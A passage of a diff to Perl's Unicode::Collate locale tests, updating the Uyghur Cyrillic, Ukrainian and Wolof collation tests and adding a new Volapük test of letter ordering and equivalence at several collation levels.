+ok($objUgCyrl->lt("\x{444}z", "\x{445}"));
+ok($objUgCyrl->lt("\x{445}z", "\x{4bb}"));
+ok($objUgCyrl->lt("\x{4bb}z", "\x{447}"));
+ok($objUgCyrl->lt("\x{447}z", "\x{448}"));
+ok($objUgCyrl->lt("\x{448}z", "\x{44e}"));
+ok($objUgCyrl->lt("\x{44e}z", "\x{44f}"));
+
+ok($objUgCyrl->lt("\x{410}z", "\x{411}"));
+ok($objUgCyrl->lt("\x{411}z", "\x{412}"));
+ok($objUgCyrl->lt("\x{412}z", "\x{413}"));
+ok($objUgCyrl->lt("\x{413}z", "\x{492}"));
+ok($objUgCyrl->lt("\x{492}z", "\x{414}"));
+ok($objUgCyrl->lt("\x{414}z", "\x{415}"));
+ok($objUgCyrl->lt("\x{415}z", "\x{4d8}"));
+ok($objUgCyrl->lt("\x{4d8}z", "\x{416}"));
+ok($objUgCyrl->lt("\x{416}z", "\x{496}"));
+ok($objUgCyrl->lt("\x{496}z", "\x{417}"));
+ok($objUgCyrl->lt("\x{417}z", "\x{418}"));
+ok($objUgCyrl->lt("\x{418}z", "\x{419}"));
+ok($objUgCyrl->lt("\x{419}z", "\x{41a}"));
+ok($objUgCyrl->lt("\x{41a}z", "\x{49a}"));
+ok($objUgCyrl->lt("\x{49a}z", "\x{41b}"));
+ok($objUgCyrl->lt("\x{41b}z", "\x{41c}"));
+ok($objUgCyrl->lt("\x{41c}z", "\x{41d}"));
+ok($objUgCyrl->lt("\x{41d}z", "\x{4a2}"));
+ok($objUgCyrl->lt("\x{4a2}z", "\x{41e}"));
+ok($objUgCyrl->lt("\x{41e}z", "\x{4e8}"));
+ok($objUgCyrl->lt("\x{4e8}z", "\x{41f}"));
+ok($objUgCyrl->lt("\x{41f}z", "\x{420}"));
+ok($objUgCyrl->lt("\x{420}z", "\x{421}"));
+ok($objUgCyrl->lt("\x{421}z", "\x{422}"));
+ok($objUgCyrl->lt("\x{422}z", "\x{423}"));
+ok($objUgCyrl->lt("\x{423}z", "\x{4ae}"));
+ok($objUgCyrl->lt("\x{4ae}z", "\x{424}"));
+ok($objUgCyrl->lt("\x{424}z", "\x{425}"));
+ok($objUgCyrl->lt("\x{425}z", "\x{4ba}"));
+ok($objUgCyrl->lt("\x{4ba}z", "\x{427}"));
+ok($objUgCyrl->lt("\x{427}z", "\x{428}"));
+ok($objUgCyrl->lt("\x{428}z", "\x{42e}"));
+ok($objUgCyrl->lt("\x{42e}z", "\x{42f}"));
+
+# 68
+
+$objUgCyrl->change(level => 2);
+
+ok($objUgCyrl->eq("\x{430}", "\x{410}"));
+ok($objUgCyrl->eq("\x{431}", "\x{411}"));
+ok($objUgCyrl->eq("\x{432}", "\x{412}"));
+ok($objUgCyrl->eq("\x{433}", "\x{413}"));
+ok($objUgCyrl->eq("\x{493}", "\x{492}"));
+ok($objUgCyrl->eq("\x{434}", "\x{414}"));
+ok($objUgCyrl->eq("\x{435}", "\x{415}"));
+ok($objUgCyrl->eq("\x{4d9}", "\x{4d8}"));
+ok($objUgCyrl->eq("\x{436}", "\x{416}"));
+ok($objUgCyrl->eq("\x{497}", "\x{496}"));
+ok($objUgCyrl->eq("\x{437}", "\x{417}"));
+ok($objUgCyrl->eq("\x{438}", "\x{418}"));
+ok($objUgCyrl->eq("\x{439}", "\x{419}"));
+ok($objUgCyrl->eq("\x{43a}", "\x{41a}"));
+ok($objUgCyrl->eq("\x{49b}", "\x{49a}"));
+ok($objUgCyrl->eq("\x{43b}", "\x{41b}"));
+ok($objUgCyrl->eq("\x{43c}", "\x{41c}"));
+ok($objUgCyrl->eq("\x{43d}", "\x{41d}"));
+ok($objUgCyrl->eq("\x{4a3}", "\x{4a2}"));
+ok($objUgCyrl->eq("\x{43e}", "\x{41e}"));
+ok($objUgCyrl->eq("\x{4e9}", "\x{4e8}"));
+ok($objUgCyrl->eq("\x{43f}", "\x{41f}"));
+ok($objUgCyrl->eq("\x{440}", "\x{420}"));
+ok($objUgCyrl->eq("\x{441}", "\x{421}"));
+ok($objUgCyrl->eq("\x{442}", "\x{422}"));
+ok($objUgCyrl->eq("\x{443}", "\x{423}"));
+ok($objUgCyrl->eq("\x{4af}", "\x{4ae}"));
+ok($objUgCyrl->eq("\x{444}", "\x{424}"));
+ok($objUgCyrl->eq("\x{445}", "\x{425}"));
+ok($objUgCyrl->eq("\x{4bb}", "\x{4ba}"));
+ok($objUgCyrl->eq("\x{447}", "\x{427}"));
+ok($objUgCyrl->eq("\x{448}", "\x{428}"));
+ok($objUgCyrl->eq("\x{44e}", "\x{42e}"));
+ok($objUgCyrl->eq("\x{44f}", "\x{42f}"));
+
+# 102
+
+$objUgCyrl->change(level => 3);
+
+ok($objUgCyrl->lt("\x{430}", "\x{410}"));
+ok($objUgCyrl->lt("\x{431}", "\x{411}"));
+ok($objUgCyrl->lt("\x{432}", "\x{412}"));
+ok($objUgCyrl->lt("\x{433}", "\x{413}"));
+ok($objUgCyrl->lt("\x{493}", "\x{492}"));
+ok($objUgCyrl->lt("\x{434}", "\x{414}"));
+ok($objUgCyrl->lt("\x{435}", "\x{415}"));
+ok($objUgCyrl->lt("\x{4d9}", "\x{4d8}"));
+ok($objUgCyrl->lt("\x{436}", "\x{416}"));
+ok($objUgCyrl->lt("\x{497}", "\x{496}"));
+ok($objUgCyrl->lt("\x{437}", "\x{417}"));
+ok($objUgCyrl->lt("\x{438}", "\x{418}"));
+ok($objUgCyrl->lt("\x{439}", "\x{419}"));
+ok($objUgCyrl->lt("\x{43a}", "\x{41a}"));
+ok($objUgCyrl->lt("\x{49b}", "\x{49a}"));
+ok($objUgCyrl->lt("\x{43b}", "\x{41b}"));
+ok($objUgCyrl->lt("\x{43c}", "\x{41c}"));
+ok($objUgCyrl->lt("\x{43d}", "\x{41d}"));
+ok($objUgCyrl->lt("\x{4a3}", "\x{4a2}"));
+ok($objUgCyrl->lt("\x{43e}", "\x{41e}"));
+ok($objUgCyrl->lt("\x{4e9}", "\x{4e8}"));
+ok($objUgCyrl->lt("\x{43f}", "\x{41f}"));
+ok($objUgCyrl->lt("\x{440}", "\x{420}"));
+ok($objUgCyrl->lt("\x{441}", "\x{421}"));
+ok($objUgCyrl->lt("\x{442}", "\x{422}"));
+ok($objUgCyrl->lt("\x{443}", "\x{423}"));
+ok($objUgCyrl->lt("\x{4af}", "\x{4ae}"));
+ok($objUgCyrl->lt("\x{444}", "\x{424}"));
+ok($objUgCyrl->lt("\x{445}", "\x{425}"));
+ok($objUgCyrl->lt("\x{4bb}", "\x{4ba}"));
+ok($objUgCyrl->lt("\x{447}", "\x{427}"));
+ok($objUgCyrl->lt("\x{448}", "\x{428}"));
+ok($objUgCyrl->lt("\x{44e}", "\x{42e}"));
+ok($objUgCyrl->lt("\x{44f}", "\x{42f}"));
+
+# 136
+
+ok($objUgCyrl->eq("\x{439}", "\x{438}\x{306}"));
+ok($objUgCyrl->eq("\x{419}", "\x{418}\x{306}"));
+
+# 138
diff --git a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_uk.t b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_uk.t
index de1cc3753dc..91ccdc85195 100644
--- a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_uk.t
+++ b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_uk.t
@@ -16,7 +16,7 @@ BEGIN {
use strict;
use warnings;
-BEGIN { $| = 1; print "1..203\n"; }
+BEGIN { $| = 1; print "1..144\n"; }
my $count = 0;
sub ok ($;$) {
my $p = my $r = shift;
@@ -40,192 +40,161 @@ ok($objUk->getlocale, 'uk');
$objUk->change(level => 1);
-ok($objUk->gt("\x{491}", "\x{433}"));
-ok($objUk->lt("\x{491}", "\x{434}"));
-
-# 4
-
-ok($objUk->gt("\x{4E5}", "\x{438}")); # not suppressed
-ok($objUk->gt("\x{4E4}", "\x{418}")); # not suppressed
-ok($objUk->gt("\x{457}", "\x{456}")); # not suppressed
-ok($objUk->gt("\x{407}", "\x{406}")); # not suppressed
-ok($objUk->gt("\x{439}", "\x{438}")); # not suppressed
-ok($objUk->gt("\x{419}", "\x{418}")); # not suppressed
-
-# 10
-
-ok($objUk->eq("\x{4D1}", "\x{430}"));
-ok($objUk->eq("\x{4D0}", "\x{410}"));
-ok($objUk->eq("\x{4D3}", "\x{430}"));
-ok($objUk->eq("\x{4D2}", "\x{410}"));
-ok($objUk->eq("\x{4DB}", "\x{4D9}"));
-ok($objUk->eq("\x{4DA}", "\x{4D8}"));
-ok($objUk->eq("\x{453}", "\x{433}"));
-ok($objUk->eq("\x{403}", "\x{413}"));
-ok($objUk->eq("\x{450}", "\x{435}")); # not contraction
-ok($objUk->eq("\x{400}", "\x{415}")); # not contraction
-ok($objUk->eq("\x{451}", "\x{435}")); # not contraction
-ok($objUk->eq("\x{401}", "\x{415}")); # not contraction
-ok($objUk->eq("\x{4D7}", "\x{435}"));
-ok($objUk->eq("\x{4D6}", "\x{415}"));
-ok($objUk->eq("\x{4C2}", "\x{436}")); # not contraction
-ok($objUk->eq("\x{4C1}", "\x{416}")); # not contraction
-ok($objUk->eq("\x{4DD}", "\x{436}"));
-ok($objUk->eq("\x{4DC}", "\x{416}"));
-ok($objUk->eq("\x{4DF}", "\x{437}"));
-ok($objUk->eq("\x{4DE}", "\x{417}"));
-ok($objUk->eq("\x{45D}", "\x{438}")); # not contraction
-ok($objUk->eq("\x{40D}", "\x{418}")); # not contraction
-ok($objUk->eq("\x{4E3}", "\x{438}")); # not contraction
-ok($objUk->eq("\x{4E2}", "\x{418}")); # not contraction
-ok($objUk->eq("\x{4E7}", "\x{43E}"));
-ok($objUk->eq("\x{4E6}", "\x{41E}"));
-ok($objUk->eq("\x{4EB}", "\x{4E9}"));
-ok($objUk->eq("\x{4EA}", "\x{4E8}"));
-ok($objUk->eq("\x{45C}", "\x{43A}"));
-ok($objUk->eq("\x{40C}", "\x{41A}"));
-ok($objUk->eq("\x{4EF}", "\x{443}")); # not contraction
-ok($objUk->eq("\x{4EE}", "\x{423}")); # not contraction
-ok($objUk->eq("\x{45E}", "\x{443}"));
-ok($objUk->eq("\x{40E}", "\x{423}"));
-ok($objUk->eq("\x{4F1}", "\x{443}"));
-ok($objUk->eq("\x{4F0}", "\x{423}"));
-ok($objUk->eq("\x{4F3}", "\x{443}"));
-ok($objUk->eq("\x{4F2}", "\x{423}"));
-ok($objUk->eq("\x{4F5}", "\x{447}"));
-ok($objUk->eq("\x{4F4}", "\x{427}"));
-ok($objUk->eq("\x{4F9}", "\x{44B}"));
-ok($objUk->eq("\x{4F8}", "\x{42B}"));
-ok($objUk->eq("\x{4ED}", "\x{44D}"));
-ok($objUk->eq("\x{4EC}", "\x{42D}"));
-ok($objUk->eq("\x{477}", "\x{475}"));
-ok($objUk->eq("\x{476}", "\x{474}"));
-
-# 56
+ok($objUk->lt("\x{430}z", "\x{431}"));
+ok($objUk->lt("\x{431}z", "\x{432}"));
+ok($objUk->lt("\x{432}z", "\x{433}"));
+ok($objUk->lt("\x{433}z", "\x{491}"));
+ok($objUk->lt("\x{491}z", "\x{434}"));
+ok($objUk->lt("\x{434}z", "\x{435}"));
+ok($objUk->lt("\x{435}z", "\x{454}"));
+ok($objUk->lt("\x{454}z", "\x{436}"));
+ok($objUk->lt("\x{436}z", "\x{437}"));
+ok($objUk->lt("\x{437}z", "\x{438}"));
+ok($objUk->lt("\x{438}z", "\x{456}"));
+ok($objUk->lt("\x{456}z", "\x{a647}"));
+ok($objUk->lt("\x{a647}z","\x{457}"));
+ok($objUk->lt("\x{457}z", "\x{439}"));
+ok($objUk->lt("\x{439}z", "\x{43a}"));
+ok($objUk->lt("\x{43a}z", "\x{43b}"));
+ok($objUk->lt("\x{43b}z", "\x{43c}"));
+ok($objUk->lt("\x{43c}z", "\x{43d}"));
+ok($objUk->lt("\x{43d}z", "\x{43e}"));
+ok($objUk->lt("\x{43e}z", "\x{43f}"));
+ok($objUk->lt("\x{43f}z", "\x{440}"));
+ok($objUk->lt("\x{440}z", "\x{441}"));
+ok($objUk->lt("\x{441}z", "\x{442}"));
+ok($objUk->lt("\x{442}z", "\x{443}"));
+ok($objUk->lt("\x{443}z", "\x{444}"));
+ok($objUk->lt("\x{444}z", "\x{445}"));
+ok($objUk->lt("\x{445}z", "\x{446}"));
+ok($objUk->lt("\x{446}z", "\x{447}"));
+ok($objUk->lt("\x{447}z", "\x{448}"));
+ok($objUk->lt("\x{448}z", "\x{449}"));
+ok($objUk->lt("\x{449}z", "\x{44c}"));
+ok($objUk->lt("\x{44c}z", "\x{44e}"));
+ok($objUk->lt("\x{44e}z", "\x{44f}"));
+
+ok($objUk->lt("\x{410}z", "\x{411}"));
+ok($objUk->lt("\x{411}z", "\x{412}"));
+ok($objUk->lt("\x{412}z", "\x{413}"));
+ok($objUk->lt("\x{413}z", "\x{490}"));
+ok($objUk->lt("\x{490}z", "\x{414}"));
+ok($objUk->lt("\x{414}z", "\x{415}"));
+ok($objUk->lt("\x{415}z", "\x{404}"));
+ok($objUk->lt("\x{404}z", "\x{416}"));
+ok($objUk->lt("\x{416}z", "\x{417}"));
+ok($objUk->lt("\x{417}z", "\x{418}"));
+ok($objUk->lt("\x{418}z", "\x{406}"));
+ok($objUk->lt("\x{406}z", "\x{a646}"));
+ok($objUk->lt("\x{a646}z","\x{407}"));
+ok($objUk->lt("\x{407}z", "\x{419}"));
+ok($objUk->lt("\x{419}z", "\x{41a}"));
+ok($objUk->lt("\x{41a}z", "\x{41b}"));
+ok($objUk->lt("\x{41b}z", "\x{41c}"));
+ok($objUk->lt("\x{41c}z", "\x{41d}"));
+ok($objUk->lt("\x{41d}z", "\x{41e}"));
+ok($objUk->lt("\x{41e}z", "\x{41f}"));
+ok($objUk->lt("\x{41f}z", "\x{420}"));
+ok($objUk->lt("\x{420}z", "\x{421}"));
+ok($objUk->lt("\x{421}z", "\x{422}"));
+ok($objUk->lt("\x{422}z", "\x{423}"));
+ok($objUk->lt("\x{423}z", "\x{424}"));
+ok($objUk->lt("\x{424}z", "\x{425}"));
+ok($objUk->lt("\x{425}z", "\x{426}"));
+ok($objUk->lt("\x{426}z", "\x{427}"));
+ok($objUk->lt("\x{427}z", "\x{428}"));
+ok($objUk->lt("\x{428}z", "\x{429}"));
+ok($objUk->lt("\x{429}z", "\x{42c}"));
+ok($objUk->lt("\x{42c}z", "\x{42e}"));
+ok($objUk->lt("\x{42e}z", "\x{42f}"));
+
+# 68
$objUk->change(level => 2);
+ok($objUk->eq("\x{430}", "\x{410}"));
+ok($objUk->eq("\x{431}", "\x{411}"));
+ok($objUk->eq("\x{432}", "\x{412}"));
+ok($objUk->eq("\x{433}", "\x{413}"));
ok($objUk->eq("\x{491}", "\x{490}"));
+ok($objUk->eq("\x{434}", "\x{414}"));
+ok($objUk->eq("\x{435}", "\x{415}"));
+ok($objUk->eq("\x{454}", "\x{404}"));
+ok($objUk->eq("\x{436}", "\x{416}"));
+ok($objUk->eq("\x{437}", "\x{417}"));
+ok($objUk->eq("\x{438}", "\x{418}"));
+ok($objUk->eq("\x{456}", "\x{406}"));
+ok($objUk->eq("\x{a647}","\x{a646}"));
+ok($objUk->eq("\x{457}", "\x{407}"));
+ok($objUk->eq("\x{457}", "\x{a676}"));
+ok($objUk->eq("\x{a676}","\x{407}"));
+ok($objUk->eq("\x{439}", "\x{419}"));
+ok($objUk->eq("\x{43a}", "\x{41a}"));
+ok($objUk->eq("\x{43b}", "\x{41b}"));
+ok($objUk->eq("\x{43c}", "\x{41c}"));
+ok($objUk->eq("\x{43d}", "\x{41d}"));
+ok($objUk->eq("\x{43e}", "\x{41e}"));
+ok($objUk->eq("\x{43f}", "\x{41f}"));
+ok($objUk->eq("\x{440}", "\x{420}"));
+ok($objUk->eq("\x{441}", "\x{421}"));
+ok($objUk->eq("\x{442}", "\x{422}"));
+ok($objUk->eq("\x{443}", "\x{423}"));
+ok($objUk->eq("\x{444}", "\x{424}"));
+ok($objUk->eq("\x{445}", "\x{425}"));
+ok($objUk->eq("\x{446}", "\x{426}"));
+ok($objUk->eq("\x{447}", "\x{427}"));
+ok($objUk->eq("\x{448}", "\x{428}"));
+ok($objUk->eq("\x{449}", "\x{429}"));
+ok($objUk->eq("\x{44c}", "\x{42c}"));
+ok($objUk->eq("\x{44e}", "\x{42e}"));
+ok($objUk->eq("\x{44f}", "\x{42f}"));
-# 57
-
-ok($objUk->gt("\x{4D1}", "\x{430}"));
-ok($objUk->gt("\x{4D0}", "\x{410}"));
-ok($objUk->gt("\x{4D3}", "\x{430}"));
-ok($objUk->gt("\x{4D2}", "\x{410}"));
-ok($objUk->gt("\x{4DB}", "\x{4D9}"));
-ok($objUk->gt("\x{4DA}", "\x{4D8}"));
-ok($objUk->gt("\x{453}", "\x{433}"));
-ok($objUk->gt("\x{403}", "\x{413}"));
-ok($objUk->gt("\x{450}", "\x{435}")); # not contraction
-ok($objUk->gt("\x{400}", "\x{415}")); # not contraction
-ok($objUk->gt("\x{451}", "\x{435}")); # not contraction
-ok($objUk->gt("\x{401}", "\x{415}")); # not contraction
-ok($objUk->gt("\x{4D7}", "\x{435}"));
-ok($objUk->gt("\x{4D6}", "\x{415}"));
-ok($objUk->gt("\x{4C2}", "\x{436}")); # not contraction
-ok($objUk->gt("\x{4C1}", "\x{416}")); # not contraction
-ok($objUk->gt("\x{4DD}", "\x{436}"));
-ok($objUk->gt("\x{4DC}", "\x{416}"));
-ok($objUk->gt("\x{4DF}", "\x{437}"));
-ok($objUk->gt("\x{4DE}", "\x{417}"));
-ok($objUk->gt("\x{45D}", "\x{438}")); # not contraction
-ok($objUk->gt("\x{40D}", "\x{418}")); # not contraction
-ok($objUk->gt("\x{4E3}", "\x{438}")); # not contraction
-ok($objUk->gt("\x{4E2}", "\x{418}")); # not contraction
-ok($objUk->gt("\x{4E7}", "\x{43E}"));
-ok($objUk->gt("\x{4E6}", "\x{41E}"));
-ok($objUk->gt("\x{4EB}", "\x{4E9}"));
-ok($objUk->gt("\x{4EA}", "\x{4E8}"));
-ok($objUk->gt("\x{45C}", "\x{43A}"));
-ok($objUk->gt("\x{40C}", "\x{41A}"));
-ok($objUk->gt("\x{4EF}", "\x{443}")); # not contraction
-ok($objUk->gt("\x{4EE}", "\x{423}")); # not contraction
-ok($objUk->gt("\x{45E}", "\x{443}"));
-ok($objUk->gt("\x{40E}", "\x{423}"));
-ok($objUk->gt("\x{4F1}", "\x{443}"));
-ok($objUk->gt("\x{4F0}", "\x{423}"));
-ok($objUk->gt("\x{4F3}", "\x{443}"));
-ok($objUk->gt("\x{4F2}", "\x{423}"));
-ok($objUk->gt("\x{4F5}", "\x{447}"));
-ok($objUk->gt("\x{4F4}", "\x{427}"));
-ok($objUk->gt("\x{4F9}", "\x{44B}"));
-ok($objUk->gt("\x{4F8}", "\x{42B}"));
-ok($objUk->gt("\x{4ED}", "\x{44D}"));
-ok($objUk->gt("\x{4EC}", "\x{42D}"));
-ok($objUk->gt("\x{477}", "\x{475}"));
-ok($objUk->gt("\x{476}", "\x{474}"));
-
-# 103
+# 104
$objUk->change(level => 3);
+ok($objUk->lt("\x{430}", "\x{410}"));
+ok($objUk->lt("\x{431}", "\x{411}"));
+ok($objUk->lt("\x{432}", "\x{412}"));
+ok($objUk->lt("\x{433}", "\x{413}"));
ok($objUk->lt("\x{491}", "\x{490}"));
-
-# 104
-
-ok($objUk->eq("\x{4E5}", "\x{438}\x{308}")); # not suppressed
-ok($objUk->eq("\x{4E4}", "\x{418}\x{308}")); # not suppressed
-ok($objUk->eq("\x{457}", "\x{456}\x{308}")); # not suppressed
-ok($objUk->eq("\x{407}", "\x{406}\x{308}")); # not suppressed
-ok($objUk->eq("\x{439}", "\x{438}\x{306}")); # not suppressed
-ok($objUk->eq("\x{419}", "\x{418}\x{306}")); # not suppressed
-
-# 110
-
-for my $i ("", "\0") {
- ok($objUk->eq("\x{4D1}", "\x{430}$i\x{306}"));
- ok($objUk->eq("\x{4D0}", "\x{410}$i\x{306}"));
- ok($objUk->eq("\x{4D3}", "\x{430}$i\x{308}"));
- ok($objUk->eq("\x{4D2}", "\x{410}$i\x{308}"));
- ok($objUk->eq("\x{4DB}", "\x{4D9}$i\x{308}"));
- ok($objUk->eq("\x{4DA}", "\x{4D8}$i\x{308}"));
- ok($objUk->eq("\x{453}", "\x{433}$i\x{301}"));
- ok($objUk->eq("\x{403}", "\x{413}$i\x{301}"));
- ok($objUk->eq("\x{450}", "\x{435}$i\x{300}")); # not contraction
- ok($objUk->eq("\x{400}", "\x{415}$i\x{300}")); # not contraction
- ok($objUk->eq("\x{451}", "\x{435}$i\x{308}")); # not contraction
- ok($objUk->eq("\x{401}", "\x{415}$i\x{308}")); # not contraction
- ok($objUk->eq("\x{4D7}", "\x{435}$i\x{306}"));
- ok($objUk->eq("\x{4D6}", "\x{415}$i\x{306}"));
- ok($objUk->eq("\x{4C2}", "\x{436}$i\x{306}")); # not contraction
- ok($objUk->eq("\x{4C1}", "\x{416}$i\x{306}")); # not contraction
- ok($objUk->eq("\x{4DD}", "\x{436}$i\x{308}"));
- ok($objUk->eq("\x{4DC}", "\x{416}$i\x{308}"));
- ok($objUk->eq("\x{4DF}", "\x{437}$i\x{308}"));
- ok($objUk->eq("\x{4DE}", "\x{417}$i\x{308}"));
- ok($objUk->eq("\x{45D}", "\x{438}$i\x{300}")); # not contraction
- ok($objUk->eq("\x{40D}", "\x{418}$i\x{300}")); # not contraction
- ok($objUk->eq("\x{4E3}", "\x{438}$i\x{304}")); # not contraction
- ok($objUk->eq("\x{4E2}", "\x{418}$i\x{304}")); # not contraction
- ok($objUk->eq("\x{4E7}", "\x{43E}$i\x{308}"));
- ok($objUk->eq("\x{4E6}", "\x{41E}$i\x{308}"));
- ok($objUk->eq("\x{4EB}", "\x{4E9}$i\x{308}"));
- ok($objUk->eq("\x{4EA}", "\x{4E8}$i\x{308}"));
- ok($objUk->eq("\x{45C}", "\x{43A}$i\x{301}"));
- ok($objUk->eq("\x{40C}", "\x{41A}$i\x{301}"));
- ok($objUk->eq("\x{4EF}", "\x{443}$i\x{304}")); # not contraction
- ok($objUk->eq("\x{4EE}", "\x{423}$i\x{304}")); # not contraction
- ok($objUk->eq("\x{45E}", "\x{443}$i\x{306}"));
- ok($objUk->eq("\x{40E}", "\x{423}$i\x{306}"));
- ok($objUk->eq("\x{4F1}", "\x{443}$i\x{308}"));
- ok($objUk->eq("\x{4F0}", "\x{423}$i\x{308}"));
- ok($objUk->eq("\x{4F3}", "\x{443}$i\x{30B}"));
- ok($objUk->eq("\x{4F2}", "\x{423}$i\x{30B}"));
- ok($objUk->eq("\x{4F5}", "\x{447}$i\x{308}"));
- ok($objUk->eq("\x{4F4}", "\x{427}$i\x{308}"));
- ok($objUk->eq("\x{4F9}", "\x{44B}$i\x{308}"));
- ok($objUk->eq("\x{4F8}", "\x{42B}$i\x{308}"));
- ok($objUk->eq("\x{4ED}", "\x{44D}$i\x{308}"));
- ok($objUk->eq("\x{4EC}", "\x{42D}$i\x{308}"));
- ok($objUk->eq("\x{477}", "\x{475}$i\x{30F}"));
- ok($objUk->eq("\x{476}", "\x{474}$i\x{30F}"));
-}
-
-# 202
-
-$objUk->change(upper_before_lower => 1);
-
-ok($objUk->gt("\x{491}", "\x{490}"));
-
-# 203
+ok($objUk->lt("\x{434}", "\x{414}"));
+ok($objUk->lt("\x{435}", "\x{415}"));
+ok($objUk->lt("\x{454}", "\x{404}"));
+ok($objUk->lt("\x{436}", "\x{416}"));
+ok($objUk->lt("\x{437}", "\x{417}"));
+ok($objUk->lt("\x{438}", "\x{418}"));
+ok($objUk->lt("\x{456}", "\x{406}"));
+ok($objUk->lt("\x{a647}","\x{a646}"));
+ok($objUk->lt("\x{457}", "\x{407}"));
+ok($objUk->lt("\x{457}", "\x{a676}"));
+ok($objUk->lt("\x{a676}","\x{407}"));
+ok($objUk->lt("\x{439}", "\x{419}"));
+ok($objUk->lt("\x{43a}", "\x{41a}"));
+ok($objUk->lt("\x{43b}", "\x{41b}"));
+ok($objUk->lt("\x{43c}", "\x{41c}"));
+ok($objUk->lt("\x{43d}", "\x{41d}"));
+ok($objUk->lt("\x{43e}", "\x{41e}"));
+ok($objUk->lt("\x{43f}", "\x{41f}"));
+ok($objUk->lt("\x{440}", "\x{420}"));
+ok($objUk->lt("\x{441}", "\x{421}"));
+ok($objUk->lt("\x{442}", "\x{422}"));
+ok($objUk->lt("\x{443}", "\x{423}"));
+ok($objUk->lt("\x{444}", "\x{424}"));
+ok($objUk->lt("\x{445}", "\x{425}"));
+ok($objUk->lt("\x{446}", "\x{426}"));
+ok($objUk->lt("\x{447}", "\x{427}"));
+ok($objUk->lt("\x{448}", "\x{428}"));
+ok($objUk->lt("\x{449}", "\x{429}"));
+ok($objUk->lt("\x{44c}", "\x{42c}"));
+ok($objUk->lt("\x{44e}", "\x{42e}"));
+ok($objUk->lt("\x{44f}", "\x{42f}"));
+
+# 140
+
+ok($objUk->eq("\x{457}", "\x{456}\x{308}"));
+ok($objUk->eq("\x{407}", "\x{406}\x{308}"));
+ok($objUk->eq("\x{439}", "\x{438}\x{306}"));
+ok($objUk->eq("\x{419}", "\x{418}\x{306}"));
+
+# 144
diff --git a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_vo.t b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_vo.t
new file mode 100644
index 00000000000..3d124bbe855
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_vo.t
@@ -0,0 +1,105 @@
+
+BEGIN {
+ unless ('A' eq pack('U', 0x41)) {
+ print "1..0 # Unicode::Collate cannot pack a Unicode code point\n";
+ exit 0;
+ }
+ unless (0x41 == unpack('U', 'A')) {
+ print "1..0 # Unicode::Collate cannot get a Unicode code point\n";
+ exit 0;
+ }
+ if ($ENV{PERL_CORE}) {
+ chdir('t') if -d 't';
+ @INC = $^O eq 'MacOS' ? qw(::lib) : qw(../lib);
+ }
+}
+
+use strict;
+use warnings;
+BEGIN { $| = 1; print "1..38\n"; }
+my $count = 0;
+sub ok ($;$) {
+ my $p = my $r = shift;
+ if (@_) {
+ my $x = shift;
+ $p = !defined $x ? !defined $r : !defined $r ? 0 : $r eq $x;
+ }
+ print $p ? "ok" : "not ok", ' ', ++$count, "\n";
+}
+
+use Unicode::Collate::Locale;
+
+ok(1);
+
+#########################
+
+my $auml = pack 'U', 0xE4;
+my $Auml = pack 'U', 0xC4;
+my $ouml = pack 'U', 0xF6;
+my $Ouml = pack 'U', 0xD6;
+my $uuml = pack 'U', 0xFC;
+my $Uuml = pack 'U', 0xDC;
+
+my $objVo = Unicode::Collate::Locale->
+ new(locale => 'VO', normalization => undef);
+
+ok($objVo->getlocale, 'vo');
+
+$objVo->change(level => 1);
+
+ok($objVo->gt($auml, "az"));
+ok($objVo->lt($auml, "b"));
+ok($objVo->gt($ouml, "oz"));
+ok($objVo->lt($ouml, "p"));
+ok($objVo->gt($uuml, "uz"));
+ok($objVo->lt($uuml, "v"));
+
+# 8
+
+$objVo->change(level => 2);
+
+ok($objVo->eq("a\x{308}", "A\x{308}"));
+ok($objVo->eq("o\x{308}", "O\x{308}"));
+ok($objVo->eq("u\x{308}", "U\x{308}"));
+
+ok($objVo->eq($auml, $Auml));
+ok($objVo->eq($ouml, $Ouml));
+ok($objVo->eq($uuml, $Uuml));
+
+# 14
+
+$objVo->change(level => 3);
+
+ok($objVo->lt("a\x{308}", "A\x{308}"));
+ok($objVo->lt("o\x{308}", "O\x{308}"));
+ok($objVo->lt("u\x{308}", "U\x{308}"));
+
+ok($objVo->lt($auml, $Auml));
+ok($objVo->lt($ouml, $Ouml));
+ok($objVo->lt($uuml, $Uuml));
+
+# 20
+
+ok($objVo->eq("a\x{308}", $auml));
+ok($objVo->eq("A\x{308}", $Auml));
+ok($objVo->eq("o\x{308}", $ouml));
+ok($objVo->eq("O\x{308}", $Ouml));
+ok($objVo->eq("u\x{308}", $uuml));
+ok($objVo->eq("U\x{308}", $Uuml));
+
+# 26
+
+ok($objVo->eq("a\x{308}\x{304}", "\x{1DF}"));
+ok($objVo->eq("A\x{308}\x{304}", "\x{1DE}"));
+ok($objVo->eq("o\x{308}\x{304}", "\x{22B}"));
+ok($objVo->eq("O\x{308}\x{304}", "\x{22A}"));
+ok($objVo->eq("u\x{308}\x{300}", "\x{1DC}"));
+ok($objVo->eq("U\x{308}\x{300}", "\x{1DB}"));
+ok($objVo->eq("u\x{308}\x{301}", "\x{1D8}"));
+ok($objVo->eq("U\x{308}\x{301}", "\x{1D7}"));
+ok($objVo->eq("u\x{308}\x{304}", "\x{1D6}"));
+ok($objVo->eq("U\x{308}\x{304}", "\x{1D5}"));
+ok($objVo->eq("u\x{308}\x{30C}", "\x{1DA}"));
+ok($objVo->eq("U\x{308}\x{30C}", "\x{1D9}"));
+
+# 38
diff --git a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_wo.t b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_wo.t
index 7cf22125dc9..47315364091 100644
--- a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_wo.t
+++ b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_wo.t
@@ -16,7 +16,7 @@ BEGIN {
use strict;
use warnings;
-BEGIN { $| = 1; print "1..40\n"; }
+BEGIN { $| = 1; print "1..44\n"; }
my $count = 0;
sub ok ($;$) {
my $p = my $r = shift;
@@ -41,17 +41,21 @@ ok($objWo->getlocale, 'wo');
$objWo->change(level => 1);
ok($objWo->lt("a", "a\x{300}"));
+ok($objWo->lt("az","a\x{300}"));
ok($objWo->gt("b", "a\x{300}"));
ok($objWo->lt("e", "e\x{301}"));
